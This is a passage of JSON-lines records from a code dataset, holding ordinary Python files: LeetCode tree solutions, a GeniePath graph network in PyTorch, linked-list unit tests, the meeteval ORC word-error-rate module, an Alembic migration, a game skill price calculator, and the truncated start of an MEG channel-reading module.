r.right and r.val == target):\n root.right = None\n\n def removeLeafNodes(self, root: TreeNode, target: int):\n self.dfs(root, target)\n # 根节点的话不会被删掉, 在这里处理了\n if not root.left and not root.right and root.val == target:\n return None\n return root\n\n\ns = Solution()\nroot = List2TN([1, 1, 1])\ntarget = 1\nres = s.removeLeafNodes(root, target)\nprint(TN2List(res))\n", "repo_name": "lovehhf/LeetCode", "sub_path": "1325. 删除给定值的叶子节点.py", "file_name": "1325. 删除给定值的叶子节点.py", "file_ext": "py", "file_size_in_byte": 2814, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.TreeNode.TreeNode", "line_number": 55, "usage_type": "name"}, {"api_name": "utils.TreeNode.TreeNode", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.TreeNode.List2TN", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.TreeNode.TN2List", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "19655490613", "text": "import torch\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GATConv\n\n\ndim = 256\nlstm_hidden = 256\nheads = 1\nlayer_num = 4\n\n\nclass Breadth(torch.nn.Module):\n def __init__(self, in_dim, out_dim):\n super(Breadth, self).__init__()\n self.gatconv = GATConv(in_dim, out_dim, heads=heads)\n\n def forward(self, x, edge_index):\n x = torch.tanh(self.gatconv(x, edge_index))\n return x\n\n\nclass Depth(torch.nn.Module):\n def __init__(self, in_dim, hidden):\n super(Depth, self).__init__()\n self.lstm = torch.nn.LSTM(in_dim, hidden, 1, bias=False)\n\n def forward(self, x, h, c):\n x, (h, c) = self.lstm(x, (h, c))\n return x, (h, c)\n\n\nclass GeniePathLayer(torch.nn.Module):\n def __init__(self, in_dim):\n super(GeniePathLayer, self).__init__()\n self.breadth_func = Breadth(in_dim, dim)\n self.depth_func = Depth(dim, lstm_hidden)\n\n def forward(self, x, edge_index, h, c):\n x = self.breadth_func(x, edge_index)\n x = x[None, :]\n x, (h, c) = self.depth_func(x, h, c)\n x = x[0]\n return x, (h, c)\n\n\nclass GeniePath(torch.nn.Module):\n def __init__(self, in_dim, out_dim, device):\n super(GeniePath, self).__init__()\n self.device = device\n self.lin1 = torch.nn.Linear(in_dim, dim)\n self.gplayers = torch.nn.ModuleList([GeniePathLayer(dim) for i in range(layer_num)])\n self.lin2 = torch.nn.Linear(dim, out_dim)\n\n def forward(self, x, edge_index):\n x = self.lin1(x)\n h = torch.zeros(1, x.shape[0], lstm_hidden).to(self.device)\n c = torch.zeros(1, x.shape[0], lstm_hidden).to(self.device)\n for i, l in enumerate(self.gplayers):\n x, (h, c) = self.gplayers[i](x, edge_index, h, c)\n x = self.lin2(x)\n return x\n\n\nclass GeniePathLazy(torch.nn.Module):\n def __init__(self, in_dim, out_dim, device):\n super(GeniePathLazy, self).__init__()\n self.device = device\n self.lin1 = torch.nn.Linear(in_dim, dim)\n self.breaths = torch.nn.ModuleList([Breadth(dim, dim) for i in range(layer_num)])\n self.depths = torch.nn.ModuleList([Depth(dim * 2, lstm_hidden) for i in range(layer_num)])\n self.lin2 = torch.nn.Linear(dim, out_dim)\n\n def forward(self, x, edge_index):\n x = self.lin1(x)\n h = torch.zeros(1, x.shape[0], lstm_hidden).to(self.device)\n c = torch.zeros(1, x.shape[0], lstm_hidden).to(self.device)\n h_tmps = []\n for i, l in enumerate(self.breaths):\n h_tmps.append(self.breaths[i](x, edge_index))\n x = x[None, :]\n for i, l in enumerate(self.depths):\n in_cat = torch.cat((h_tmps[i][None, :], x), -1)\n x, (h, c) = self.depths[i](in_cat, h, c)\n x = self.lin2(x[0])\n return x", "repo_name": "shuowang-ai/GeniePath-pytorch", "sub_path": "model_geniepath.py", "file_name": "model_geniepath.py", "file_ext": "py", "file_size_in_byte": 2812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 102, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch_geometric.nn.GATConv", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn.LSTM", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "26920325247", "text": "import unittest\nimport io\nfrom unittest.mock import patch\n\nfrom solution import solution\nfrom double_node import DoubleConnectedNode\n\n\ndef print_list(node: DoubleConnectedNode) -> None:\n while node.next is not None:\n print(node.value)\n node = node.next\n\n print(node.value)\n\n\nclass OtherWayAroundTest(unittest.TestCase):\n @patch('sys.stdout', new_callable=io.StringIO)\n def test_input_one(self, stdout):\n head = DoubleConnectedNode('Head')\n\n print_list(solution(head))\n self.assertEqual(stdout.getvalue(), \"\\n\".join([\n 'Head'\n ]) + '\\n')\n\n @patch('sys.stdout', new_callable=io.StringIO)\n def test_input_two(self, stdout):\n head = DoubleConnectedNode('Head')\n tail = DoubleConnectedNode('Tail', prev=head)\n head.next = tail\n\n print_list(solution(head))\n self.assertEqual(stdout.getvalue(), \"\\n\".join([\n 'Tail',\n 'Head'\n ]) + '\\n')\n\n @patch('sys.stdout', new_callable=io.StringIO)\n def test_input_three(self, stdout):\n head = DoubleConnectedNode('Head')\n tail = DoubleConnectedNode('Tail')\n middle = DoubleConnectedNode('Next', prev=head, next=tail)\n head.next = middle\n tail.prev = middle\n\n print_list(solution(head))\n self.assertEqual(stdout.getvalue(), \"\\n\".join([\n 'Tail',\n 'Next',\n 'Head'\n ]) + '\\n')\n", "repo_name": "Grey2k/yandex.praktikum-alghoritms", "sub_path": "tasks/sprint-2/E - Other way Around/other_way_around_test.py", "file_name": "other_way_around_test.py", "file_ext": "py", "file_size_in_byte": 1433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "double_node.DoubleConnectedNode", "line_number": 9, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 17, "usage_type": "attribute"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 20, "usage_type": "call"}, {"api_name": "solution.solution", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 18, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 18, "usage_type": "attribute"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 29, "usage_type": "call"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 30, "usage_type": "call"}, {"api_name": "solution.solution", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 27, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 41, "usage_type": "call"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 42, "usage_type": "call"}, {"api_name": "double_node.DoubleConnectedNode", "line_number": 43, "usage_type": "call"}, {"api_name": "solution.solution", "line_number": 47, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 39, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 39, "usage_type": "attribute"}]} +{"seq_id": "42927369368", "text": "import collections\nimport dataclasses\nfrom typing import Tuple, List, Dict, Iterable, Any\n\nfrom meeteval.wer.wer.error_rate import ErrorRate\nfrom meeteval.wer.wer.siso import _siso_error_rate\nfrom meeteval.wer.utils import _items, _keys, _values, _map\nfrom meeteval.io.stm import STM\n\n__all__ = ['OrcErrorRate', 'orc_word_error_rate', 'orc_word_error_rate_stm', 'apply_orc_assignment']\n\n\n@dataclasses.dataclass(frozen=True, repr=False)\nclass OrcErrorRate(ErrorRate):\n \"\"\"\n >>> OrcErrorRate(0, 10, 0, 0, 0, None, None, (0, 1))\n OrcErrorRate(error_rate=0.0, errors=0, length=10, insertions=0, deletions=0, substitutions=0, assignment=(0, 1))\n >>> OrcErrorRate(0, 10, 0, 0, 0, None, None, (0, 1)) + OrcErrorRate(10, 10, 0, 0, 10, None, None, (1, 0, 1))\n ErrorRate(error_rate=0.5, errors=10, length=20, insertions=0, deletions=0, substitutions=10)\n \"\"\"\n assignment: Tuple[int, ...]\n\n def apply_assignment(self, reference, hypothesis):\n ref = collections.defaultdict(list)\n\n assert len(reference) == len(self.assignment), (len(reference), len(self.assignment))\n for r, a in zip(reference, self.assignment):\n ref[a].append(r)\n\n if isinstance(hypothesis, dict):\n ref = dict(ref)\n elif isinstance(hypothesis, list):\n ref = list(ref.values())\n elif isinstance(hypothesis, tuple):\n ref = list(ref.values())\n else:\n raise TypeError(type(hypothesis), hypothesis)\n\n return ref, hypothesis\n\n\ndef orc_word_error_rate_stm(reference_stm: 'STM', hypothesis_stm: 'STM') -> 'Dict[str, OrcErrorRate]':\n \"\"\"\n Computes the ORC WER for each example in the reference and hypothesis STM files.\n\n To compute the overall WER, use `sum(orc_word_error_rate_stm(r, h).values())`.\n \"\"\"\n from meeteval.io.stm import apply_stm_multi_file\n return apply_stm_multi_file(orc_word_error_rate, reference_stm, hypothesis_stm)\n\n\ndef orc_error_rate(\n reference: 'List[Iterable]',\n hypothesis: 'List[Iterable] | Dict[Any, Iterable]',\n):\n # Safety check: The complexity explodes for large numbers of speakers\n if len(hypothesis) > 10:\n raise RuntimeError(\n f'Are you sure?\\n'\n f'Found a total of {len(hypothesis)} speakers in the input.\\n'\n f'This indicates a mistake in the input, or does your use-case '\n f'really require scoring with that many speakers?\\n'\n f'See https://github.com/fgnt/meeteval/blob/main/doc/num_speaker_limits.md for details.'\n )\n\n from meeteval.wer.matching.mimo_matching import mimo_matching\n distance, assignment = mimo_matching([reference], _values(hypothesis))\n assignment = tuple([_keys(hypothesis)[x[1]] for x in assignment])\n\n reference_new, hypothesis = apply_orc_assignment(\n assignment,\n reference=reference,\n hypothesis=hypothesis,\n )\n\n er = sum([\n _siso_error_rate(\n [t for r_ in r for t in r_], # Create list with all words from one speaker\n hypothesis[speaker],\n )\n for speaker, r in _items(reference_new)\n ])\n assert er.errors == distance, (distance, er)\n\n return OrcErrorRate(\n er.errors, er.length,\n insertions=er.insertions,\n deletions=er.deletions,\n substitutions=er.substitutions,\n assignment=assignment,\n hypothesis_self_overlap=None,\n reference_self_overlap=None,\n )\n\n\n\ndef orc_word_error_rate(\n reference: 'List[str] | STM',\n hypothesis: 'List[str] | dict[str] | STM',\n) -> OrcErrorRate:\n \"\"\"\n The Optimal Reference Combination (ORC) WER, implemented efficiently.\n\n # All correct on a single channel\n >>> orc_word_error_rate(['a b', 'c d', 'e f'], ['a b c d e f'])\n OrcErrorRate(error_rate=0.0, errors=0, length=6, insertions=0, deletions=0, substitutions=0, assignment=(0, 0, 0))\n\n # All correct on two channels\n >>> orc_word_error_rate(['a b', 'c d', 'e f'], ['a b', 'c d e f'])\n OrcErrorRate(error_rate=0.0, errors=0, length=6, insertions=0, deletions=0, substitutions=0, assignment=(0, 1, 1))\n\n # One utterance is split\n >>> er = orc_word_error_rate(['a', 'c d', 'e'], ['a c', 'd e'])\n >>> er\n OrcErrorRate(error_rate=0.5, errors=2, length=4, insertions=1, deletions=1, substitutions=0, assignment=(0, 0, 1))\n >>> er.apply_assignment(['a', 'c d', 'e'], ['a c', 'd e'])\n ([['a', 'c d'], ['e']], ['a c', 'd e'])\n\n >>> er = orc_word_error_rate(['a', 'c d', 'e'], {'A': 'a c', 'B': 'd e'})\n >>> er\n OrcErrorRate(error_rate=0.5, errors=2, length=4, insertions=1, deletions=1, substitutions=0, assignment=('A', 'A', 'B'))\n >>> er.apply_assignment(['a', 'c d', 'e'], {'A': 'a c', 'B': 'd e'})\n ({'A': ['a', 'c d'], 'B': ['e']}, {'A': 'a c', 'B': 'd e'})\n \"\"\"\n if isinstance(reference, STM) or isinstance(hypothesis, STM):\n from meeteval.wer.wer.utils import _check_valid_input_files\n _check_valid_input_files(reference, hypothesis)\n reference = reference.utterance_transcripts()\n hypothesis = {\n speaker_id: h_.merged_transcripts()\n for speaker_id, h_ in hypothesis.grouped_by_speaker_id().items()\n }\n\n reference_words = [r.split() for r in reference]\n hypothesis_words = _map(str.split, hypothesis)\n return orc_error_rate(reference_words, hypothesis_words)\n\n\ndef apply_orc_assignment(\n assignment: 'List[tuple]',\n reference: 'List[str]',\n hypothesis: 'List[str] | dict[str]',\n):\n \"\"\"\n >>> assignment = ('A', 'A', 'B')\n >>> apply_orc_assignment(assignment, ['a', 'c d', 'e'], {'A': 'a c', 'B': 'd e'})\n ({'A': ['a', 'c d'], 'B': ['e']}, {'A': 'a c', 'B': 'd e'})\n\n >>> assignment = (0, 0, 1)\n >>> apply_orc_assignment(assignment, ['a', 'c d', 'e'], ['a c', 'd e'])\n ([['a', 'c d'], ['e']], ['a c', 'd e'])\n\n >>> assignment = ('A', )\n >>> apply_orc_assignment(assignment, ['a'], {'A': 'b', 'B': 'c'})\n ({'A': ['a'], 'B': []}, {'A': 'b', 'B': 'c'})\n \"\"\"\n reference_new = {k: [] for k in _keys(hypothesis)}\n\n assert len(reference) == len(assignment), (len(reference), len(assignment))\n for r, a in zip(reference, assignment):\n reference_new[a].append(r)\n\n if isinstance(hypothesis, dict):\n return dict(reference_new), hypothesis\n elif isinstance(hypothesis, (list, tuple)):\n return type(hypothesis)(reference_new.values()), hypothesis\n else:\n raise TypeError(type(hypothesis), hypothesis)\n", "repo_name": "fgnt/meeteval", "sub_path": "meeteval/wer/wer/orc.py", "file_name": "orc.py", "file_ext": "py", "file_size_in_byte": 6514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "86", "api": [{"api_name": "meeteval.wer.wer.error_rate.ErrorRate", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 21, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 24, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 13, "usage_type": "call"}, {"api_name": "meeteval.io.stm.apply_stm_multi_file", "line_number": 49, "usage_type": "call"}, {"api_name": "meeteval.wer.matching.mimo_matching.mimo_matching", "line_number": 67, "usage_type": "call"}, {"api_name": "meeteval.wer.utils._values", "line_number": 67, "usage_type": "call"}, {"api_name": "meeteval.wer.utils._keys", "line_number": 68, "usage_type": "call"}, {"api_name": "meeteval.wer.wer.siso._siso_error_rate", "line_number": 77, "usage_type": "call"}, {"api_name": "meeteval.wer.utils._items", "line_number": 81, "usage_type": "call"}, {"api_name": "meeteval.io.stm.STM", "line_number": 125, "usage_type": "argument"}, {"api_name": "meeteval.wer.wer.utils._check_valid_input_files", "line_number": 127, "usage_type": "call"}, {"api_name": "meeteval.wer.utils._map", "line_number": 135, "usage_type": "call"}, {"api_name": "meeteval.wer.utils._keys", "line_number": 157, "usage_type": "call"}]} +{"seq_id": "24719942966", "text": "# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nfrom collections import deque\nclass Solution:\n def isSymmetric(self, root: Optional[TreeNode]) -> bool:\n lv = deque()\n lv.append(root)\n while lv: \n n = len(lv)\n for _ in range(n):\n x = lv.popleft()\n if not x: continue\n if x.left: lv.append(x.left)\n else: lv.append(None)\n if x.right: lv.append(x.right)\n else: lv.append(None)\n m = len(lv)\n for i in range(m//2):\n if (not lv[i] and lv[-1-i]) or (not lv[-1-i] and lv[i]): return False\n elif (lv[i] and lv[-1-i]) and (lv[i].val != lv[-1-i].val): return False\n return True", "repo_name": "hongwonJ/leetcode", "sub_path": "symmetric-tree/symmetric-tree.py", "file_name": "symmetric-tree.py", "file_ext": "py", "file_size_in_byte": 905, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.deque", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "73814579485", "text": "\"\"\"created fact table\n\nRevision ID: 95e90cd8a3fd\nRevises: 0e7da473b664\nCreate Date: 2023-04-11 08:45:36.871153\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '95e90cd8a3fd'\ndown_revision = '0e7da473b664'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('facts',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('fun_fact', sa.String(), nullable=True),\n sa.Column('answer', sa.String(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('facts')\n # ### end Alembic commands ###\n", "repo_name": "BrettdeBear/Michigan-Project", "sub_path": "server/migrations/versions/95e90cd8a3fd_created_fact_table.py", "file_name": "95e90cd8a3fd_created_fact_table.py", "file_ext": "py", "file_size_in_byte": 795, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "28569782191", "text": "from math import floor\nfrom DatabaseCon import DatabaseCon\nfrom Models import Customer\n\nfrom typing import List, Dict, Tuple\nfrom Models import Skills, SkillRanges, SkillAliases\nfrom intervaltree import Interval, IntervalTree\n\n\nclass InvalidSkillName(Exception):\n def __init__(self, skill_name):\n self.message = f\"Invalid skill name '{skill_name}'\"\n super().__init__(self.message)\n\n\nclass SkillManagement:\n _instance = None\n _database_con: DatabaseCon = DatabaseCon.get_instance()\n\n @staticmethod\n def get_instance():\n if SkillManagement._instance is None:\n SkillManagement()\n return SkillManagement._instance\n\n def __init__(self):\n if SkillManagement._instance is not None:\n return\n SkillManagement._instance = self\n\n def get_skills(self) -> List[Skills]:\n return self._database_con.get_skills()\n\n def get_skill_by_obj_or_id(self, skill):\n if isinstance(skill, int):\n return [x for x in self.get_skills() if x.skill_id == skill][0]\n if isinstance(skill, Skills):\n return skill\n\n def get_aliases(self) -> List[SkillAliases]:\n return self._database_con.get_skill_aliases()\n\n def get_ranges(self) -> List[SkillRanges]:\n return self._database_con.get_skill_ranges()\n\n def get_skill_names(self):\n return [x.name for x in self.get_skills()]\n\n def get_aliases_names(self):\n return [x.alias for x in self.get_aliases()]\n\n def get_skill_names_and_aliases(self):\n return (self.get_skill_names() + self.get_aliases_names())\n\n def get_skill_by_name_or_alias(self, skill_name_query: str) -> Skills:\n skill_name_query = skill_name_query.lower()\n\n for i in self.get_skills():\n if i.name == skill_name_query:\n return i\n\n for i in self.get_aliases():\n if i.alias == skill_name_query:\n return i.skill\n\n raise InvalidSkillName(skill_name_query)\n\n def get_skill_ranges_for_skill(self, skill):\n skill = self.get_skill_by_obj_or_id(skill)\n return [x for x in self.get_ranges() if x.skill_id == skill.skill_id]\n\n def to_reach(self, level):\n sum = 0\n for l in range(1, level):\n sum += floor(l + 300 * (2 ** (l/7)))\n return floor((1/4) * sum)\n\n def from_to_xp(self, level_start, level_end):\n return self.to_reach(level_end) - self.to_reach(level_start)\n\n def add_new_range(self, skill, start, end, rate, method_name):\n self._database_con.insert_new_range(\n skill, start, end, rate, method_name)\n\n def delete_range(self, skill_range_id):\n self._database_con.delete_range(skill_range_id)\n\n def update_range(self, skill_range_id, field, value):\n field = field.lower()\n skill_range = self._database_con.get_skill_range_by_id(skill_range_id)\n\n if field == \"method\":\n skill_range.method_name = value\n elif field == \"range\":\n start_end = value.split(\"-\")\n if len(start_end) != 2:\n raise Exception(\n \"Invalid Range: You must provide a range with the following format: start-end\")\n start, end = start_end\n try:\n start = int(start)\n end = int(end)\n except Exception:\n raise Exception(\"Invalid Range: Values must be numbers.\")\n\n skill_range.start_level = start\n skill_range.end_level = end\n\n elif field == \"price\":\n try:\n price = float(value)\n skill_range.rate = price\n\n except Exception:\n raise Exception(\"Invalid Price: Value must be a number.\")\n else:\n raise Exception(\"Invalid Field Name.\")\n\n self._database_con.commit()\n\n def get_possible_methods(self, skill, start, end) -> List[SkillRanges]:\n skill = self.get_skill_by_obj_or_id(skill)\n return [x for x in self.get_skill_ranges_for_skill(skill) if x.end_level <= end]\n\n def join_ranges_by_method(self, skill) -> Dict[str, List[SkillRanges]]:\n skill = self.get_skill_by_obj_or_id(skill)\n\n methods = dict()\n\n for i in self.get_skill_ranges_for_skill(skill):\n if i.method_name in methods.keys():\n methods[i.method_name].append(i)\n else:\n methods[i.method_name] = [i]\n\n return methods\n\n def calculator_method_wise(self, skill, start, end) -> Dict[str, IntervalTree]:\n ranges_joined = self.join_ranges_by_method(skill)\n\n methods_calculated = dict()\n\n for method_name, methods in ranges_joined.items():\n t = IntervalTree()\n for i in methods:\n t.addi(i.start_level, i.end_level, i)\n\n t.chop(0, start)\n t.chop(end, 99)\n if len(t) != 0:\n methods_calculated[method_name] = sorted(t)\n\n return methods_calculated\n\n def get_range_attributes(self):\n return [\n \"rate\",\n \"start_level\",\n \"end_level\",\n \"method_name\",\n \"description\",\n ]\n\n def change_range(self, skill_range_id, val, key):\n if val == rate:\n skill_range.rate = float(val)\n elif val == start_level:\n skill_range.start_level = int(val)\n elif val == end_level:\n skill_range.end_level = int(val)\n elif val == method_name:\n skill_range.method_name = val\n elif val == description:\n skill_range.description = val\n if key not in self.get_range_attributes():\n raise Exception(\n f\"Wrong attribute! You can only change the following `{','.join(self.get_range_attributes)}`\")\n else:\n self._database_con._session.commit()\n\n\nif __name__ == \"__main__\":\n sm = SkillManagement()\n skill = sm.get_skill_by_name_or_alias(\"rc\")\n print(skill)\n methods_wise = sm.calculator_method_wise(skill, 30, 90)\n print(methods_wise)\n method = methods_wise[\"Solo Lavas\"]\n print(method)\n total_price = 0\n print(\"\\n\\n\")\n for interval in method:\n start, end, skill_range = interval\n xp_between = sm.from_to_xp(start, end)\n price_between = xp_between * skill_range.rate\n total_price = total_price + price_between\n\n print(\n f\"{start} - {end} ({xp_between}xp * {skill_range.rate}gp/xp) = {total_price}\")\n\n print(f\"Total Price: {total_price}\")\n", "repo_name": "shankyknecht/point-system", "sub_path": "SkillManagement.py", "file_name": "SkillManagement.py", "file_ext": "py", "file_size_in_byte": 6536, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "DatabaseCon.DatabaseCon", "line_number": 18, "usage_type": "name"}, {"api_name": "DatabaseCon.DatabaseCon.get_instance", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 31, "usage_type": "name"}, {"api_name": "Models.Skills", "line_number": 31, "usage_type": "name"}, {"api_name": "Models.Skills", "line_number": 37, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}, {"api_name": "Models.SkillAliases", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "Models.SkillRanges", "line_number": 43, "usage_type": "name"}, {"api_name": "Models.Skills", "line_number": 55, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 75, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 76, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 121, "usage_type": "name"}, {"api_name": "Models.SkillRanges", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 125, "usage_type": "name"}, {"api_name": "Models.SkillRanges", "line_number": 125, "usage_type": "name"}, {"api_name": "intervaltree.IntervalTree", "line_number": 144, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 138, "usage_type": "name"}, {"api_name": "intervaltree.IntervalTree", "line_number": 138, "usage_type": "name"}]} +{"seq_id": "16682066831", "text": "# Author: Denis A. Engemann \n# License: BSD (3-clause)\n\nimport itertools as itt\nimport os.path as op\nimport re\n\nimport numpy as np\nimport scipy.io as scio\nfrom scipy import linalg\n\nfrom mne import (EpochsArray, EvokedArray, pick_info,\n rename_channels)\nfrom mne.io.bti.bti import _get_bti_info, read_raw_bti\nfrom mne.io import _loc_to_coil_trans\nfrom mne.utils import logger\n\nfrom .file_mapping import get_file_paths\n\n_data_labels = [\n 'TRIGGER',\n 'RESPONSE',\n 'MLzA',\n 'MLyA',\n 'MLzaA',\n 'MLyaA',\n 'MLxA',\n 'A22',\n 'MLxaA',\n 'A2',\n 'MRzA',\n 'MRxA',\n 'MRzaA',\n 'MRxaA',\n 'MRyA',\n 'MCzA',\n 'MRyaA',\n 'MCzaA',\n 'MCyA',\n 'GzxA',\n 'MCyaA',\n 'A104',\n 'SA1',\n 'A241',\n 'MCxA',\n 'A138',\n 'MCxaA',\n 'A214',\n 'SA2',\n 'SA3',\n 'A71',\n 'A26',\n 'A93',\n 'A39',\n 'A125',\n 'A20',\n 'A65',\n 'A9',\n 'A8',\n 'A95',\n 'A114',\n 'A175',\n 'A16',\n 'A228',\n 'A35',\n 'A191',\n 'A37',\n 'A170',\n 'A207',\n 'A112',\n 'A224',\n 'A82',\n 'A238',\n 'A202',\n 'A220',\n 'A28',\n 'A239',\n 'A13',\n 'A165',\n 'A204',\n 'A233',\n 'A98',\n 'A25',\n 'A70',\n 'A72',\n 'A11',\n 'A47',\n 'A160',\n 'A64',\n 'A3',\n 'A177',\n 'A63',\n 'A155',\n 'A10',\n 'A127',\n 'A67',\n 'A115',\n 'A247',\n 'A174',\n 'A194',\n 'A5',\n 'A242',\n 'A176',\n 'A78',\n 'A168',\n 'A31',\n 'A223',\n 'A245',\n 'A219',\n 'A12',\n 'A186',\n 'A105',\n 'A222',\n 'A76',\n 'A50',\n 'A188',\n 'A231',\n 'A45',\n 'A180',\n 'A99',\n 'A234',\n 'A215',\n 'A235',\n 'A181',\n 'A38',\n 'A230',\n 'A91',\n 'A212',\n 'A24',\n 'A66',\n 'A42',\n 'A96',\n 'A57',\n 'A86',\n 'A56',\n 'A116',\n 'A151',\n 'A141',\n 'A120',\n 'A189',\n 'A80',\n 'A210',\n 'A143',\n 'A113',\n 'A27',\n 'A137',\n 'A135',\n 'A167',\n 'A75',\n 'A240',\n 'A206',\n 'A107',\n 'A130',\n 'A100',\n 'A43',\n 'A200',\n 'A102',\n 'A132',\n 'A183',\n 'A199',\n 'A122',\n 'A19',\n 'A62',\n 'A21',\n 'A229',\n 'A84',\n 'A213',\n 'A55',\n 'A32',\n 'A85',\n 'A146',\n 'A58',\n 'A60',\n 'GyyA',\n 'A88',\n 'A79',\n 'GzyA',\n 'GxxA',\n 'A169',\n 'A54',\n 'GyxA',\n 'A203',\n 'A145',\n 'A103',\n 'A163',\n 'A139',\n 'A49',\n 'A166',\n 'A156',\n 'A128',\n 'A68',\n 'A159',\n 'A236',\n 'A161',\n 'A121',\n 'A4',\n 'A61',\n 'A6',\n 'A126',\n 'A14',\n 'A94',\n 'A15',\n 'A193',\n 'A150',\n 'A227',\n 'A59',\n 'A36',\n 'A225',\n 'A195',\n 'A30',\n 'A109',\n 'A172',\n 'A108',\n 'A81',\n 'A171',\n 'A218',\n 'A173',\n 'A201',\n 'A74',\n 'A29',\n 'A164',\n 'A205',\n 'A232',\n 'A69',\n 'A157',\n 'A97',\n 'A217',\n 'A101',\n 'A124',\n 'A40',\n 'A123',\n 'A153',\n 'A178',\n 'A1',\n 'A179',\n 'A33',\n 'A147',\n 'A117',\n 'A148',\n 'A87',\n 'A89',\n 'A243',\n 'A119',\n 'A52',\n 'A142',\n 'A211',\n 'A190',\n 'A53',\n 'A192',\n 'A73',\n 'A226',\n 'A136',\n 'A184',\n 'A51',\n 